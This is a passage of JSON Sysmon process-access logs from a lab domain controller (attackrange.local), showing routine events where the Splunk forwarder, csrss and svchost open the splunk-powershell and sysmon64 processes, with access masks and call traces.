Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010C1450B00}","TargetProcessId":"4008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010C1450B00}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010C1450B00}","TargetProcessId":"4008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\